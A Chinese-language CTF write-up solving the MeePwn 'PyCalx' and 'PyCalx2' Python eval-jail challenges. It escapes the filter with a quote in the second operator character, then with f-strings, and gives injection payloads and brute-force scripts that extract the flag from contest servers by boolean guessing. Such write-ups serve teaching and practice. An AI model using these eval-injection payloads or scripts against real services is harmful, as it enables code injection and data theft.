This code is supposed to be unexploitable :/ another pyjail?Notice: The flag may ontain non alphabetic characters (but still printable)Please login to submit flag
进去之后是这个样子的
点击Source我们可以查看这个程序的源码
仔细阅读了一下代码,这是一个有限制的Python表达式运算的东西。
涉及的变量包括source,op,value1,value2,FLAG四个。
- source,若值为1则显示源代码。
- value1,运算的第一个变量。
- value2,运算的第二个变量。
- op,运算符。
- FLAG,读取FLAG,存在变量里面。
这里还通过两个函数分别对运算变量和运算符进行了限制。
def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val
def get_op(val): val = str(val)[:2] list_ops = ['+', '-', '/', '*', '=', '!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val
get_op()这个函数首先是限制运算符的有效长度为2,然后通过黑名单+,-,/,*,=,!限制了运算符的第一个字节,第二个字节没做限制。
通过上面的函数对变量过滤后,这里就是对输入的内容转化为字符串拼接成为calc_eval表达式
calc_eval = str(repr(value1)) + str(op) + str(repr(value2)) ...... ...... try: result = str(eval(calc_eval)) if result.isdigit() or result == 'True' or result == 'False': print(result) else: print("Invalid") # Sorry we don't support output as a string due to security issue. except: print("Invalid")
最后通过eval()执行calc_eval表达式,返回结果转化为字符串
如果字符串满足数字,True,Flase这三种形式,就在页面输出,否则输出Invalid错误提示
为了便于分析,把代码精简成本地调试,主要是调试eval()中的语句。
# coding=utf-8 import sys if __name__ == "__main__": FLAG = open('index.php', 'r').read() def get_value(val): val = str(val)[:64] if str(val).isdigit(): return int(val) blacklist = ['(', ')', '[', ']', '\'', '"'] # I don't like tuple, list and dict. if val == '' or [c for c in blacklist if c in val] != []: print('<center>Invalid value</center>') sys.exit(0) return val def get_op(val): val = str(val)[:2] list_ops = ['+', '-', '/', '*', '=', '!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val op = "+" value1 = "123" value2 = " 123" source = 'error_reporting' op = get_op(op) value1 = get_value(value1) value2 = get_value(value2) calc_eval = str(repr(value1)) + str(op) + str(repr(value2)) print calc_eval result = str(eval(calc_eval)) print result
**目标清晰:**Flag已经存在了变量FLAG里面,绕过过滤,注入表达式到eval()里面,执行代码,获取Flag。
calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
repr()这个函数很关键
repr() 函数将对象转化为供解释器读取的形式,当传入不是数字是字符串的时候,会引入引号',效果如下
因为get_value过滤的存在,这里无法直接通过value1,value2引入单引号进行单引号逃逸。
但是因为get_op仅仅过滤验证了第一位字符,因此我们可以在第二位引入单引号。 value1=a,value2=a,op=+'
' a ' + ' ' a '
这时候进入eval肯定会因为语法报错,这时候修改value2=#a,注释后面的单引号
' a ' + ' ' #a '
等价于
' a ' + ' '
那么同时也逃逸了单引号,在#号的前面我们已经可以注入其他运算符了
value1=a,value2=and 1#a,op=+'
a ' + ' ' and 1#a '
等价于,先加法后与运算
' a ' + ' ' and 1
逃逸出了单引号,但是仍然无法直接打印出Flag,因为页面返回必须满足数字,True,Flase这三种形式才有回显,这里可以确定是通过Bool返回值对Flag进行猜解。
首先想到的是这种形式 value2=and ord(Flag[1]) ==100 #
' a ' + ' ' and ord(Flag[1]) ==100 #'
但过滤的函数get_value导致无法调用有用的ord()函数,同样无法使用[index],和类似的。
这时候就要用到前面的source变量了
if 'source' in arguments: source = arguments['source'].valueelse: source = 0if source == '1': print('<pre>' + escape(str(open(__file__, 'r').read())) + '</pre>')
source赋值使用后仍然存在,是我们的可控点,且无过滤函数,我们可以通过它配合in进行猜解Flag,猜解成功页面返回True,错误则返回Flase
value1=a,value2=and True and source in FLAG#,op=+',source=xxx
'a' + ' ' and True and source in FLAG#'
这里我们直接编写脚本,通过GET参数source修改暴力猜解FLAG
http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=MeePwnCTF%7Bpython3.66666666666666_%28%5B_%28%28you_passed_this%3F%5D%5D%5D%5D%5D%5D%29%7D
# coding=utf-8 import string import requests import sys from urllib import quote if __name__ == '__main__': reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits Flag = "MeePwnCTF{" url = "http://178.128.96.203/cgi-bin/server.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote( Flag) for i in range(100): for x in reg_str: url_t = url + quote(x) print url_t html = requests.get(url_t).content if '''True >>>''' in html: url = url_t Flag = Flag + x print Flag break
最后Flag为
MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}
You should solve PyCalx first.
兄弟题目,和上一题的几乎没做改动,只是又增加了对op的过滤,引号'已经不能使用了
op = get_op(get_value(arguments['op'].value))
根据上一题的Flag,可以知道版本是python3.6,这里需要使用F-strings.
在python3.6.2版本中,PEP 498 提出一种新型字符串格式化机制,被称为“字符串插值”或者更常见的一种称呼是F-strings
F-strings提供了一种明确且方便的方式将python表达式嵌入到字符串中来进行格式化。
使用F-strings我们不用逃逸单引号,因为它支持表达式。
首先想到的三元表达式,但是Python中并没有,emm........,使用同功能的if else
value1 = True,value2 ={source*0 if source in FLAG else 233} ,op = +f
执行的代码为:
'True'+f'{source*0 if source in FLAG else 233}'
如果匹配成功返回True,匹配失败返回True233
直接修改前一个题的脚本
# coding=utf-8 import string import requests import sys from urllib import quote if __name__ == '__main__': reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits Flag = "MeePwnCTF{" url = "http://206.189.223.3/cgi-bin/server.py?value1=True&op=%2Bf&value2=%7Bsource*0+if+source+in+FLAG+else+233%7D&source=" + quote( Flag) for i in range(100): for x in reg_str: url_t = url + quote(x) print url_t html = requests.get(url_t).content if '''True >>>''' in html: url = url_t Flag = Flag + x print Flag break
Flag:MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}